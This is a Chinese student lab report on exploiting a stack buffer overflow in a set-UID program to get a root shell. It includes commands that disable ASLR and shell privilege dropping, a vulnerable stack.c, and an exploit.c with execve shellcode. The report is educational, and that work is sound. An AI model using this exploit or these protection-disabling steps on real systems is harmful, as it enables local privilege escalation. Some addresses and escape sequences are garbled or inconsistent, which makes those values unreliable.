缓冲区溢出实验
实验原理
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况，在上一学期的信息安全概论实验课程中我们就已经了解相关的内容，这学期安全编程课的第一次实验也是有关缓冲区溢出攻击的实践。缓冲区溢出漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
实验过程
环境准备和配置
打开实验楼平台的云主机（Ubuntu系统），开启系统后安装实验使用的软件包。
Ubuntu系统使用地址空间随机化来随机堆和栈的初始地址，使得猜测准确的内存地址变得困难，提高了系统安全性。为完成实验目的，本实验先使用命令 sudo sysctl -w kernel.randomize_va_space=0关闭了这一功能。
同时，ubuntu系统的shell还有一个保护措施，即使在溢出后，也让shell没有高级权限，所以需要将这个措施关闭，使用删除现有的sh二进制文件，改为使用较早的zsh实现使用。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们要使用另一个 shell 程序（zsh）代替 /bin/bash，并在32位环境中使用bash并进入32位模式：
编写漏洞程序
用vim编写程序stack.c
编译发现报错
在网上查找有关解决方案，发现是在开始的环境配置环节少安装了有关环境，用sudo apt-get install libc6-dev-i386命令安装后级即解决问题。
程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
更改生成的可执行文件权限
编写攻击程序
用vim编写exploit.c
上图中框起来部分是通过下面的步骤找到的main入口地址
进入调试，找到esp对应地址
在地址 0x080484ee 处设置断点：
最后获得的这个0xffffd2b0就是str的地址。
根据语句 strcpy(buffer + 100,shellcode); 我们计算shellcode的地址为 0xffffd2b0 + 0x64 = 0xffffd314
再修改 exploit.c 文件，将 x??x??x??x?? 修改为计算的结果 x14xd3xffxff。（注意由于Ubuntu是小端机器，地址顺序不要填反了）
实施攻击
成功获得root权限，攻击效果明显。
地址空间随机化
通过命令sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制（在实验一开始已通过sudo sysctl -w kernel.randomize_va_space=0命令关闭了这一机制），重复用 exploit 程序攻击 stack 程序，发现能否攻击失败，不能获得root权限。
重复多次也没有奏效。由此可见系统的自带的保护机制来防止缓冲区溢出还是十分有效的。
Kali Debian虚拟机实践
配置环境
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
中途速度较慢，尝试对虚拟机镜像换源
换阿里源后速度飞升
Debian、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用sudo sysctl -w kernel.randomize_va_space=0命令关闭这一功能：
此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash中实现。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：
sudo sucd /bin
rm sh
ln -s zsh sh
exit
输入命令 linux32 进入32位linux环境
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
这次实验攻击代码如下
#include <stdio.h>int main(){
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
其汇编代码为：
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
首先，新建tmp目录，并编写一个stack.c文件
/* stack.c */
/* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>#include <string.h>
int bof(char *str){
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv){
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。编译该程序，并设置 SET-UID。命令如下：
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
其中，GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
这一步的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件
/* exploit.c *//* A program that creates a file containing code for launching shell*/#include <stdlib.h>#include <stdio.h>#include <string.h>
char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv){
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码，x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。
现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：
gdb stack
disass main
esp 中就是 str 的起始地址，所以我们在地址 0x56556205 处设置断点。
最后获得的这个 0xffffd440 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xfffd440 + 0x64 = 0xffffd4a4
现在修改 exploit.c 文件，将 x??x??x??x?? 修改为计算的结果 x94xcfxffxff，注意顺序是反的（小端机）。
然后，编译 exploit.c 程序：gcc -m32 -o exploit exploit.c
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：
可见，通过攻击，获得了root 权限！